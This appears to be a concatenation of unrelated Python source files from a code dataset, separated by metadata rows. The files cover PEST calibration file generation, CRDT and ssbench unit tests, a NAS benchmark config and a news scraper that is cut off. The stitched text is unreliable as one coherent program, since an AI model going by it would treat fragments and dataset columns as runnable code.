assert parameters['transmissivity']['type'] == 'spline'
lines += [' type: spline']
lines += [' zeta_knots_mm:']
lines += [' - {}'.format(value)
for value in
parameters['transmissivity']['zeta_knots_mm']]
lines += [' K_knots_km_d: # Conductivity, km /d']
lines += [' - @K_knot_{}@'.format(str(i).ljust(17))
for i in
range(1,
len(parameters['transmissivity']['K_knots_km_d']) + 1)]
lines += [' minimum_transmissivity_m2_d: {} '
'# Minimum transmissivity, m2 /d'
.format('@T_min @')]
outfile.write(os.linesep.join(lines))
def generate_curves_ins_file(connection, parameters, configuration,
outfile, precision):
"""Generate instruction file for calibration against master curves
"""
cursor = connection.cursor()
cursor.execute("""
SELECT count(distinct zeta_number)
FROM rising_interval_zeta""")
n_rise_zeta = cursor.fetchone()[0]
cursor.execute("""
SELECT count(distinct zeta_number)
FROM recession_interval_zeta""")
n_recession_zeta = cursor.fetchone()[0]
cursor.close()
lines = ['pif @',
'@# Rise curve simulation vector@']
lines += ['l1 [e{}]3:24'.format(i + 1)
for i in range(n_rise_zeta)]
lines += ['@# Recession curve simulation vector@']
lines += ['l1 [e{}]3:24'.format(i + 1)
for i in range(
n_rise_zeta,
n_rise_zeta + n_recession_zeta)]
outfile.write(os.linesep.join(lines))
def generate_curves_pst_file(connection, parameters, configuration,
outfile, precision):
"""Generate control file for calibration against master curves
"""
# See Example 11.3 in pestman and Preface of addendum
parameterization = parameters['specific_yield']['type']
if parameterization not in ('peatclsm', 'spline'):
raise ValueError('Unrecognized parameterization "{}"'
.format(parameterization))
if parameterization == 'spline':
n_Sy = len(parameters['specific_yield']['sy_knots'])
n_T = len(parameters['transmissivity']['K_knots_km_d'])
npar = n_Sy + n_T + 1 # For minimum transmissivity
npargp = 3 # Three parameter groups
else:
assert parameterization == 'peatclsm'
npar = 6
npargp = 6 # A parameter group for each parameter
cursor = connection.cursor()
cursor.execute("""
SELECT mean_crossing_depth_mm AS dynamic_storage_mm
FROM average_rising_depth
ORDER BY zeta_mm""")
avg_storage_mm = [row[0] for row in cursor.fetchall()]
n_rise_zeta = len(avg_storage_mm)
# Sort from highest to lowest water level, to match the way
# recession curves are dumped and plotted.
cursor.execute("""
SELECT CAST(elapsed_time_s AS double precision)
/ (3600 * 24) AS elapsed_time_d
FROM average_recession_time
ORDER BY zeta_mm DESC""")
elapsed_time_d = [row[0] for row in cursor.fetchall()]
n_recession_zeta = len(elapsed_time_d)
cursor.close()
nobsgp = 2 # 2 observation groups
lines = [
'pcf',
'* control data',
'restart estimation',
('{}{}{} 0{}'
.format(str(npar).rjust(5),
str(n_rise_zeta + n_recession_zeta).rjust(6),
str(npargp).rjust(6),
str(nobsgp).rjust(6))),
' 1 1 double point 1 0 0',
' 5.0 2.0 0.3 0.03 10',
' 3.0 3.0 0.001 0',
' 0.1',
' 30 0.01 4 3 0.01 3',
' 1 1 1']
if parameterization == 'spline':
lines += [
'* parameter groups',
'sy_knot relative 0.01 0.0 switch 2.0 parabolic',
'k_knot relative 0.01 0.0 switch 2.0 parabolic',
'T_min relative 0.01 0.0 switch 2.0 parabolic',
'* parameter data']
lines += [
'sy_knot_{} none relative NaN 0.01 1 sy_knot 1.0 0.0 1'
.format(i + 1) for i in range(n_Sy)]
lines += [
'k_knot_{} log factor NaN 1.0e-04 1.0e+5 k_knot 1.0 0.0 1'
.format(i + 1) for i in range(n_T)]
lines += [
'T_min log factor NaN 1.0e-04 1.0e+5 T_min 1.0 0.0 1']
else:
lines += [
'* parameter groups',
'sd relative 0.01 0.0 switch 2.0 parabolic',
'theta_s relative 0.01 0.0 switch 2.0 parabolic',
'b relative 0.01 0.0 switch 2.0 parabolic',
'psi_s relative 0.01 0.0 switch 2.0 parabolic',
'Ksmacz0 relative 0.01 0.0 switch 2.0 parabolic',
'alpha relative 0.01 0.0 switch 2.0 parabolic']
lines += [
'* parameter data',
'sd none relative NaN 0.0 2.0 sd 1.0 0.0 1',
'theta_s none relative NaN 0.01 1 theta_s 1.0 0.0 1',
'b none relative NaN 0.01 20.0 b 1.0 0.0 1',
'psi_s none relative NaN -1.0 -0.01 psi_s 1.0 0.0 1',
'Ksmacz0 log factor NaN 1.0e-04 1.0e+5 Ksmacz0 1.0 0.0 1',
'alpha none relative NaN 1 20.0 alpha 1.0 0.0 1']
lines += [
'* observation groups',
'storageobs',
'timeobs']
lines += [
'* observation data']
lines += [
('e{{}} {{:0.{}g}} 1.0 storageobs'
.format(precision)
.format(i + 1, W))
for i, W in enumerate(avg_storage_mm)]
lines += [
('e{{}} {{:0.{}g}} 1.0 timeobs'
.format(precision)
.format(n_rise_zeta + i + 1, t))
for i, t in enumerate(elapsed_time_d)]
lines += [
'* model command line',
# XXX
'bash simulate-curves.sh']
lines += [
'* model input/output',
# XXX
'curves_pars.yml.tpl curves_pars.yml',
'curves_observations.ins curves_observations.yml']
lines += [
'* prior information']
outfile.write(os.linesep.join(lines))
def check_parameters(parameters):
"""Check parameters for correctness
"""
if parameters['specific_yield']['type'] not in ('peatclsm', 'spline'):
raise ValueError('Unexpected specific yield type: {}'
.format(parameters['specific_yield']['type']))
if parameters['transmissivity']['type'] not in ('peatclsm', 'spline'):
raise ValueError('Unexpected specific yield type: {}'
.format(parameters['transmissivity']['type']))
| 39.712531 | 90 | 0.517788 | 1,785 | 16,163 | 4.541176 | 0.113165 | 0.013323 | 0.006662 | 0.020725 | 0.834197 | 0.824944 | 0.788922 | 0.756107 | 0.741426 | 0.686405 | 0 | 0.040421 | 0.358659 | 16,163 | 406 | 91 | 39.810345 | 0.741559 | 0.062241 | 0 | 0.727011 | 1 | 0.008621 | 0.375547 | 0.01723 | 0 | 0 | 0 | 0 | 0.020115 | 1 | 0.025862 | false | 0 | 0.005747 | 0 | 0.031609 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
263f999727569d4aeb1bcb66d4d9804d65a0413b | 138 | py | Python | create.py | includeno/linux_training | 8664c2ee32ed45f3d6c39889c926d887be56ba0a | [
"Apache-2.0"
] | null | null | null | create.py | includeno/linux_training | 8664c2ee32ed45f3d6c39889c926d887be56ba0a | [
"Apache-2.0"
] | null | null | null | create.py | includeno/linux_training | 8664c2ee32ed45f3d6c39889c926d887be56ba0a | [
"Apache-2.0"
] | null | null | null | import lib.fileutil as fileutil
fileutil.create_file("./find/",name='',suffix=".c")
fileutil.create_file("./find/",name='',suffix=".tbc") | 34.5 | 53 | 0.702899 | 19 | 138 | 5 | 0.578947 | 0.294737 | 0.378947 | 0.463158 | 0.673684 | 0.673684 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043478 | 138 | 4 | 53 | 34.5 | 0.719697 | 0 | 0 | 0 | 0 | 0 | 0.143885 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
26562fa73eb86c92c422647579b36e132ce471d6 | 5,602 | py | Python | tests/test_twopset.py | anshulahuja98/python3-crdt | b2e5d67580c562ae08d56127f41f7562e3ebe8e9 | [
"MIT"
] | 48 | 2019-02-16T08:01:52.000Z | 2022-03-19T00:45:13.000Z | tests/test_twopset.py | geetesh-gupta/python3-crdt | 02dfc28895da031169fbc8bd9ae1434dbfacd8b9 | [
"MIT"
] | 5 | 2020-10-01T09:52:38.000Z | 2021-05-18T09:32:35.000Z | tests/test_twopset.py | anshulahuja98/python3-crdt | b2e5d67580c562ae08d56127f41f7562e3ebe8e9 | [
"MIT"
] | 3 | 2019-02-16T08:01:54.000Z | 2022-01-29T15:58:14.000Z | import unittest
import uuid
import py3crdt
from py3crdt.twopset import TwoPSet
class TestLWW(unittest.TestCase):
def setUp(self):
# Create a TwoPSet
self.twopset1 = TwoPSet(uuid.uuid4())
# Create another TwoPSet
self.twopset2 = TwoPSet(uuid.uuid4())
# Add elements to twopset1
self.twopset1.add('a')
self.twopset1.add('b')
# Add elements to twopset1
self.twopset2.add('b')
self.twopset2.add('c')
self.twopset2.add('d')
def test_elements_add_correctly_twopset(self):
self.assertEqual(self.twopset1.A.payload, ['a', 'b'])
self.assertEqual(self.twopset1.R.payload, [])
self.assertEqual(self.twopset2.A.payload, ['b', 'c', 'd'])
self.assertEqual(self.twopset2.R.payload, [])
def test_querying_twopset_without_removal_and_merging(self):
# Check twopset1 querying
self.assertTrue(self.twopset1.query('a'))
self.assertTrue(self.twopset1.query('b'))
self.assertFalse(self.twopset1.query('c'))
self.assertFalse(self.twopset1.query('d'))
# Check twopset2 querying
self.assertFalse(self.twopset2.query('a'))
self.assertTrue(self.twopset2.query('b'))
self.assertTrue(self.twopset2.query('c'))
self.assertTrue(self.twopset2.query('d'))
def test_merging_twopset_without_removal(self):
# Check twopset1 merging
self.twopset1.merge(self.twopset2)
self.assertEqual(self.twopset1.A.payload, ['a', 'b', 'c', 'd'])
self.assertEqual(self.twopset1.R.payload, [])
# Check twopset2 merging
self.twopset2.merge(self.twopset1)
self.assertEqual(self.twopset2.A.payload, ['a', 'b', 'c', 'd'])
self.assertEqual(self.twopset2.R.payload, [])
# Check if they are both equal
self.assertEqual(self.twopset1.A.payload, self.twopset2.A.payload)
self.assertEqual(self.twopset1.R.payload, self.twopset2.R.payload)
def test_querying_twopset_with_merging_without_removal(self):
# Check twopset2 merging
self.twopset2.merge(self.twopset1)
self.assertTrue(self.twopset2.query('a'))
self.assertTrue(self.twopset2.query('b'))
self.assertTrue(self.twopset2.query('c'))
self.assertTrue(self.twopset2.query('d'))
# Check twopset1 merging
self.twopset1.merge(self.twopset2)
self.assertTrue(self.twopset1.query('a'))
self.assertTrue(self.twopset1.query('b'))
self.assertTrue(self.twopset1.query('c'))
self.assertTrue(self.twopset1.query('d'))
def test_elements_remove_correctly_twopset(self):
# Remove elements from twopset1
self.twopset1.remove('b')
self.assertEqual(self.twopset1.A.payload, ['a', 'b'])
self.assertEqual(self.twopset1.R.payload, ['b'])
# Remove elements from twopset2
self.twopset2.remove('b')
self.twopset2.remove('c')
self.assertEqual(self.twopset2.A.payload, ['b', 'c', 'd'])
self.assertEqual(self.twopset2.R.payload, ['b', 'c'])
def test_querying_twopset_without_merging_with_removal(self):
# Remove elements from twopset1
self.twopset1.remove('b')
# Check twopset1 querying
self.assertTrue(self.twopset1.query('a'))
self.assertFalse(self.twopset1.query('b'))
self.assertFalse(self.twopset1.query('c'))
self.assertFalse(self.twopset1.query('d'))
# Remove elements from twopset2
self.twopset2.remove('b')
self.twopset2.remove('c')
# Check twopset2 querying
self.assertFalse(self.twopset2.query('a'))
self.assertFalse(self.twopset2.query('b'))
self.assertFalse(self.twopset2.query('c'))
self.assertTrue(self.twopset2.query('d'))
def test_merging_twopset_with_removal(self):
# Remove elements from twopset1
self.twopset1.remove('b')
# Remove elements from twopset2
self.twopset2.remove('b')
self.twopset2.remove('c')
# Check twopset1 merging
self.twopset1.merge(self.twopset2)
self.assertEqual(self.twopset1.A.payload, ['a', 'b', 'c', 'd'])
self.assertEqual(self.twopset1.R.payload, ['b', 'c'])
# Check twopset2 merging
self.twopset2.merge(self.twopset1)
self.assertEqual(self.twopset2.A.payload, ['a', 'b', 'c', 'd'])
self.assertEqual(self.twopset2.R.payload, ['b', 'c'])
# Check if they are both equal
self.assertEqual(self.twopset1.A.payload, self.twopset2.A.payload)
self.assertEqual(self.twopset1.R.payload, self.twopset2.R.payload)
def test_querying_twopset_with_merging_with_removal(self):
# Remove elements from twopset1
self.twopset1.remove('b')
# Remove elements from twopset2
self.twopset2.remove('b')
self.twopset2.remove('c')
# Merge twopset2 to twopset1
self.twopset1.merge(self.twopset2)
# Merge twopset1 to twopset2
self.twopset2.merge(self.twopset1)
# Check twopset1 querying
self.assertTrue(self.twopset1.query('a'))
self.assertFalse(self.twopset1.query('b'))
self.assertFalse(self.twopset1.query('c'))
self.assertTrue(self.twopset1.query('d'))
# Check twopset2 querying
self.assertTrue(self.twopset2.query('a'))
self.assertFalse(self.twopset2.query('b'))
self.assertFalse(self.twopset2.query('c'))
self.assertTrue(self.twopset2.query('d'))
if __name__ == '__main__':
unittest.main()
| 35.455696 | 74 | 0.642628 | 668 | 5,602 | 5.317365 | 0.071856 | 0.162162 | 0.106982 | 0.091216 | 0.86768 | 0.824043 | 0.824043 | 0.818131 | 0.804899 | 0.762387 | 0 | 0.027607 | 0.217601 | 5,602 | 157 | 75 | 35.681529 | 0.782797 | 0.129061 | 0 | 0.726316 | 0 | 0 | 0.018557 | 0 | 0 | 0 | 0 | 0 | 0.547368 | 1 | 0.094737 | false | 0 | 0.042105 | 0 | 0.147368 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
265fb9bf15448feb59aed8bc9f0280121d06ad91 | 56 | py | Python | extra_tests/snippets/import_name.py | mainsail-org/RustPython | 5d2d87c24f1ff7201fcc8d4fcffadb0ec12dc127 | [
"CC-BY-4.0",
"MIT"
] | 11,058 | 2018-05-29T07:40:06.000Z | 2022-03-31T11:38:42.000Z | extra_tests/snippets/import_name.py | mainsail-org/RustPython | 5d2d87c24f1ff7201fcc8d4fcffadb0ec12dc127 | [
"CC-BY-4.0",
"MIT"
] | 2,105 | 2018-06-01T10:07:16.000Z | 2022-03-31T14:56:42.000Z | extra_tests/snippets/import_name.py | mainsail-org/RustPython | 5d2d87c24f1ff7201fcc8d4fcffadb0ec12dc127 | [
"CC-BY-4.0",
"MIT"
] | 914 | 2018-07-27T09:36:14.000Z | 2022-03-31T19:56:34.000Z | def import_func():
assert __name__ == "import_name"
| 18.666667 | 36 | 0.696429 | 7 | 56 | 4.714286 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.178571 | 56 | 2 | 37 | 28 | 0.717391 | 0 | 0 | 0 | 0 | 0 | 0.196429 | 0 | 0 | 0 | 0 | 0 | 0.5 | 1 | 0.5 | true | 0 | 1 | 0 | 1.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
cd488730dd3e8e5348a47313f41904c180f42d24 | 9,964 | py | Python | ssbench/tests/test_run_state.py | yujunz/ssbench | 9baccf7431537ce811053b7dcadf920ae97040c3 | [
"Apache-2.0",
"MIT"
] | null | null | null | ssbench/tests/test_run_state.py | yujunz/ssbench | 9baccf7431537ce811053b7dcadf920ae97040c3 | [
"Apache-2.0",
"MIT"
] | null | null | null | ssbench/tests/test_run_state.py | yujunz/ssbench | 9baccf7431537ce811053b7dcadf920ae97040c3 | [
"Apache-2.0",
"MIT"
] | null | null | null | #
#Copyright (c) 2012-2021, NVIDIA CORPORATION.
#SPDX-License-Identifier: Apache-2.0
from nose.tools import assert_equal, assert_set_equal
from collections import deque
import ssbench
from ssbench.run_state import RunState
class TestRunState(object):
def setUp(self):
self.run_state = RunState()
def _fill_initial_results(self):
initial_results = [{
'type': ssbench.CREATE_OBJECT,
'size_str': 'obtuse',
'container': 'bucket0',
'name': 'obj1',
'size': 88,
}]
# non-CREATE_OBJECT results are saved but not added to the deque
for t in [ssbench.READ_OBJECT, ssbench.UPDATE_OBJECT,
ssbench.DELETE_OBJECT]:
initial_results.append({
'type': t,
'size_str': 'obtuse',
'container': 'bucket0',
'name': 'obj1',
})
initial_results.append({
'type': ssbench.CREATE_OBJECT,
'size_str': 'obtuse',
'container': 'bucket1',
'name': 'obj1',
'size': 89,
})
# exception results are saved but not added to the deque
initial_results.append({
'type': ssbench.CREATE_OBJECT,
'size_str': 'obtuse',
'container': 'bucket0',
'name': 'obj1',
'exception': 'oh noes!',
})
initial_results.append({
'type': ssbench.CREATE_OBJECT,
'size_str': 'round',
'container': 'bucket0',
'name': 'obj2',
'size': 90,
})
for r in initial_results:
self.run_state.handle_initialization_result(r)
def _fill_run_results(self):
run_results = [{
'type': ssbench.CREATE_OBJECT,
'size_str': 'round',
'container': 'bucket0',
'name': 'obj3',
'size': 77,
}]
# non-CREATE_OBJECT results are saved but not added to the deque
for t in [ssbench.READ_OBJECT, ssbench.UPDATE_OBJECT,
ssbench.DELETE_OBJECT]:
run_results.append({
'type': t,
'size_str': 'obtuse',
'container': 'bucket0',
'name': 'obj8',
})
run_results.append({
'type': ssbench.CREATE_OBJECT,
'size_str': 'obtuse',
'container': 'bucket3',
'name': 'obj4',
'size': 89,
})
# exception results are saved but not added to the deque
run_results.append({
'type': ssbench.CREATE_OBJECT,
'size_str': 'obtuse',
'container': 'bucket3',
'name': 'obj5',
'exception': 'oh noes!',
})
run_results.append({
'type': ssbench.CREATE_OBJECT,
'size_str': 'round',
'container': 'bucket1',
'name': 'obj6',
'size': 90,
})
for r in run_results:
self.run_state.handle_run_result(r)
def test_handle_initialization_result(self):
self._fill_initial_results()
assert_equal(self.run_state.objs_by_size, {
'obtuse': deque([
('bucket0', 'obj1', True),
('bucket1', 'obj1', True)]),
'round': deque([('bucket0', 'obj2', True)]),
})
def test_handle_run_result(self):
self._fill_initial_results()
self._fill_run_results()
assert_equal(self.run_state.objs_by_size, {
'obtuse': deque([
('bucket0', 'obj1', True),
('bucket1', 'obj1', True),
('bucket3', 'obj4', False)]), # not "initial"
'round': deque([
('bucket0', 'obj2', True),
('bucket0', 'obj3', False),
('bucket1', 'obj6', False)]),
})
def test_cleanup_object_infos(self):
self._fill_initial_results()
self._fill_run_results()
cleanups = list(self.run_state.cleanup_object_infos())
assert_equal(cleanups, [('bucket3', 'obj4', False),
('bucket0', 'obj3', False),
('bucket1', 'obj6', False)])
assert_equal(self.run_state.objs_by_size, {
'obtuse': deque([
('bucket0', 'obj1', True),
('bucket1', 'obj1', True)]), # not "initial"
'round': deque([
('bucket0', 'obj2', True)]),
})
def test_cleanup_object_infos_with_no_initials(self):
self._fill_run_results()
cleanups = set(self.run_state.cleanup_object_infos())
assert_set_equal(cleanups, set([('bucket3', 'obj4', False),
('bucket0', 'obj3', False),
('bucket1', 'obj6', False)]))
# There were no initials, so there's nothing left:
assert_equal(self.run_state.objs_by_size, {
'obtuse': deque(),
'round': deque(),
})
def test_fill_in_job_for_create_object(self):
self._fill_initial_results()
self._fill_run_results()
assert_equal(self.run_state.fill_in_job({
'type': ssbench.CREATE_OBJECT,
'creates': 'are ignored',
}), {
'type': ssbench.CREATE_OBJECT,
'creates': 'are ignored',
})
assert_equal(self.run_state.objs_by_size, {
'obtuse': deque([
('bucket0', 'obj1', True),
('bucket1', 'obj1', True),
('bucket3', 'obj4', False)]),
'round': deque([
('bucket0', 'obj2', True),
('bucket0', 'obj3', False),
('bucket1', 'obj6', False)]),
})
def test_fill_in_job_for_delete_object(self):
self._fill_initial_results()
self._fill_run_results()
assert_equal(self.run_state.fill_in_job({
'type': ssbench.DELETE_OBJECT,
'size_str': 'obtuse',
}), {
'type': ssbench.DELETE_OBJECT,
'size_str': 'obtuse',
'container': 'bucket0',
'name': 'obj1',
})
assert_equal(self.run_state.objs_by_size, {
'obtuse': deque([
('bucket1', 'obj1', True),
('bucket3', 'obj4', False)]),
'round': deque([
('bucket0', 'obj2', True),
('bucket0', 'obj3', False),
('bucket1', 'obj6', False)]),
})
def test_fill_in_job_for_update_object(self):
self._fill_initial_results()
self._fill_run_results()
assert_equal(self.run_state.fill_in_job({
'type': ssbench.UPDATE_OBJECT,
'size_str': 'round',
'size': 991,
}), {
'type': ssbench.UPDATE_OBJECT,
'size_str': 'round',
'size': 991,
'container': 'bucket0',
'name': 'obj2',
})
assert_equal(self.run_state.objs_by_size, {
'obtuse': deque([
('bucket0', 'obj1', True),
('bucket1', 'obj1', True),
('bucket3', 'obj4', False)]),
'round': deque([
('bucket0', 'obj3', False), # (got rotated)
('bucket1', 'obj6', False),
('bucket0', 'obj2', True)]),
})
def test_fill_in_job_for_read_object(self):
self._fill_initial_results()
self._fill_run_results()
assert_equal(self.run_state.fill_in_job({
'type': ssbench.READ_OBJECT,
'size_str': 'obtuse',
}), {
'type': ssbench.READ_OBJECT,
'size_str': 'obtuse',
'container': 'bucket0',
'name': 'obj1',
})
assert_equal(self.run_state.objs_by_size, {
'obtuse': deque([
('bucket1', 'obj1', True), # (got rotated)
('bucket3', 'obj4', False),
('bucket0', 'obj1', True)]),
'round': deque([
('bucket0', 'obj2', True),
('bucket0', 'obj3', False),
('bucket1', 'obj6', False)]),
})
def test_fill_in_job_when_empty(self):
self._fill_initial_results()
assert_equal(self.run_state.fill_in_job({
'type': ssbench.DELETE_OBJECT,
'size_str': 'obtuse',
}), {
'type': ssbench.DELETE_OBJECT,
'size_str': 'obtuse',
'container': 'bucket0',
'name': 'obj1',
})
assert_equal(self.run_state.fill_in_job({
'type': ssbench.DELETE_OBJECT,
'size_str': 'obtuse',
}), {
'type': ssbench.DELETE_OBJECT,
'size_str': 'obtuse',
'container': 'bucket1',
'name': 'obj1',
})
assert_equal(self.run_state.fill_in_job({
'type': ssbench.DELETE_OBJECT,
'size_str': 'obtuse',
}), None)
assert_equal(self.run_state.fill_in_job({
'type': ssbench.UPDATE_OBJECT,
'size_str': 'obtuse',
'size': 31,
}), None)
assert_equal(self.run_state.fill_in_job({
'type': ssbench.DELETE_OBJECT,
'size_str': 'round',
}), {
'type': ssbench.DELETE_OBJECT,
'size_str': 'round',
'container': 'bucket0',
'name': 'obj2',
})
assert_equal(self.run_state.fill_in_job({
'type': ssbench.DELETE_OBJECT,
'size_str': 'round',
}), None)
assert_equal(self.run_state.fill_in_job({
'type': ssbench.READ_OBJECT,
'size_str': 'round',
}), None)
assert_equal(self.run_state.objs_by_size, {
'obtuse': deque([]),
'round': deque([]),
})
| 33.776271 | 72 | 0.488458 | 948 | 9,964 | 4.852321 | 0.111814 | 0.045217 | 0.065217 | 0.078261 | 0.857174 | 0.822609 | 0.811739 | 0.748913 | 0.739348 | 0.684565 | 0 | 0.022814 | 0.366519 | 9,964 | 294 | 73 | 33.891156 | 0.705957 | 0.042152 | 0 | 0.827715 | 0 | 0 | 0.158099 | 0 | 0 | 0 | 0 | 0 | 0.086142 | 1 | 0.044944 | false | 0 | 0.014981 | 0 | 0.06367 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f8a93139cd0a36f797175d3bcefc8bd2e149d2d7 | 3,504 | py | Python | experiments/examples/example_bench_correlate.py | cogsys-tuebingen/uninas | 06729b9cf517ec416fb798ae387c5bd9c3a278ac | [
"MIT"
] | 18 | 2020-11-22T16:03:08.000Z | 2022-03-15T12:11:46.000Z | experiments/examples/example_bench_correlate.py | cogsys-tuebingen/uninas | 06729b9cf517ec416fb798ae387c5bd9c3a278ac | [
"MIT"
] | 2 | 2022-01-04T08:10:17.000Z | 2022-01-05T08:13:14.000Z | experiments/examples/example_bench_correlate.py | cogsys-tuebingen/uninas | 06729b9cf517ec416fb798ae387c5bd9c3a278ac | [
"MIT"
] | 6 | 2021-03-08T07:08:52.000Z | 2022-02-24T12:00:43.000Z | from uninas.main import Main
changes = {
"cls_task": "EvalBenchTask",
"{cls_task}.save_dir": "{path_tmp}/bench_correlate/",
"{cls_task}.save_del_old": True,
"{cls_task}.is_test_run": True,
"{cls_task}.measure_correlations": "'KendallTauNasMetric, PearsonNasMetric, SpearmanNasMetric'",
# SIN s3
"cls_benchmarks": "MiniNASTabularBenchmark, MiniNASTabularBenchmark, MiniNASTabularBenchmark, MiniNASTabularBenchmark, MiniNASTabularBenchmark, MiniNASTabularBenchmark",
"{cls_benchmarks#0}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1_only1.pt",
"{cls_benchmarks#0}.default_result_type": "test",
"{cls_benchmarks#0}.tmp_name": "(1)",
"{cls_benchmarks#1}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1_only1.pt",
"{cls_benchmarks#1}.default_result_type": "train",
"{cls_benchmarks#1}.tmp_name": "(1)",
"{cls_benchmarks#2}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1_only2.pt",
"{cls_benchmarks#2}.default_result_type": "test",
"{cls_benchmarks#2}.tmp_name": "(2)",
"{cls_benchmarks#3}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1_only2.pt",
"{cls_benchmarks#3}.default_result_type": "train",
"{cls_benchmarks#3}.tmp_name": "(2)",
"{cls_benchmarks#4}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1.pt",
"{cls_benchmarks#4}.default_result_type": "test",
"{cls_benchmarks#4}.tmp_name": "(1+2)",
"{cls_benchmarks#5}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1.pt",
"{cls_benchmarks#5}.default_result_type": "train",
"{cls_benchmarks#5}.tmp_name": "(1+2)",
# SIN s3/s1, fully retrained 50 and one s1 network that evaluated 50+200
# "cls_benchmarks": "MiniNASTabularBenchmark, MiniNASTabularBenchmark",
# "{cls_benchmarks#0}.path": "{path_data}/bench/sin/SIN_fairnas_v0.1.pt",
# "{cls_benchmarks#0}.default_result_type": "test",
# "{cls_benchmarks#0}.tmp_name": "(1)",
# "{cls_benchmarks#1}.path": "{path_data}/bench/sin/SIN_fairnas_eval250_382342.pt",
# "{cls_benchmarks#1}.default_result_type": "test",
# "{cls_benchmarks#1}.tmp_name": "(1)",
# nats vs nats
# "cls_benchmarks": "MiniNASTabularBenchmark, MiniNASTabularBenchmark, MiniNASTabularBenchmark",
# "{cls_benchmarks#0}.path": "{path_data}/bench/nats/nats_bench_1.1_mini.pt",
# "{cls_benchmarks#0}.default_result_type": "train",
# "{cls_benchmarks#0}.tmp_name": "NATS",
# "{cls_benchmarks#1}.path": "{path_data}/bench/nats/nats_bench_1.1_mini.pt",
# "{cls_benchmarks#1}.default_result_type": "valid",
# "{cls_benchmarks#1}.tmp_name": "NATS",
# "{cls_benchmarks#2}.path": "{path_data}/bench/nats/nats_bench_1.1_mini.pt",
# "{cls_benchmarks#2}.default_result_type": "test",
# "{cls_benchmarks#2}.tmp_name": "NATS",
# nats vs s3 runs
# "cls_benchmarks": "MiniNASTabularBenchmark, MiniNASTabularBenchmark, MiniNASTabularBenchmark",
# "{cls_benchmarks#0}.path": "{path_data}/bench/sin/bench201_n5c16_1.pt",
# "{cls_benchmarks#0}.default_result_type": "train",
# "{cls_benchmarks#0}.tmp_name": "(1)",
# "{cls_benchmarks#1}.path": "{path_data}/bench/sin/bench201_n5c16_1.pt",
# "{cls_benchmarks#1}.default_result_type": "test",
# "{cls_benchmarks#1}.tmp_name": "(1)",
# "{cls_benchmarks#2}.path": "{path_data}/bench/bench/sin.1_mini.pt",
# "{cls_benchmarks#2}.default_result_type": "test",
# "{cls_benchmarks#2}.tmp_name": "NATS",
}
if __name__ == "__main__":
task = Main.new_task([], args_changes=changes)
task.run()
| 50.057143 | 173 | 0.688927 | 463 | 3,504 | 4.868251 | 0.146868 | 0.265306 | 0.074534 | 0.10559 | 0.814996 | 0.750222 | 0.701863 | 0.673469 | 0.673469 | 0.673469 | 0 | 0.036953 | 0.119578 | 3,504 | 69 | 174 | 50.782609 | 0.693679 | 0.470034 | 0 | 0 | 0 | 0 | 0.676291 | 0.591338 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.033333 | 0 | 0.033333 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3e5ffca235be544e67b93aca05b4b77a5fdff852 | 81,431 | py | Python | newsplease/pipeline/custom_parser.py | ssdorsey/news-please | e1fd83eb5bea9a3b5fc15b04a17660af150503e5 | [
"Apache-2.0"
] | null | null | null | newsplease/pipeline/custom_parser.py | ssdorsey/news-please | e1fd83eb5bea9a3b5fc15b04a17660af150503e5 | [
"Apache-2.0"
] | null | null | null | newsplease/pipeline/custom_parser.py | ssdorsey/news-please | e1fd83eb5bea9a3b5fc15b04a17660af150503e5 | [
"Apache-2.0"
] | null | null | null | #%%
from pymongo import MongoClient
import re
import bs4
from bs4 import BeautifulSoup
from newspaper import Article
from dateparser.search import search_dates
import dateparser
import requests
from urllib.parse import quote_plus
import os
# %%
def kohajonecom_story(soup):
"""
Function to pull the information we want from Kohajone.com stories
:param soup: BeautifulSoup object, ready to parse
"""
# create a dictionary to hold everything in
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class":"content-inner"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
#date
try:
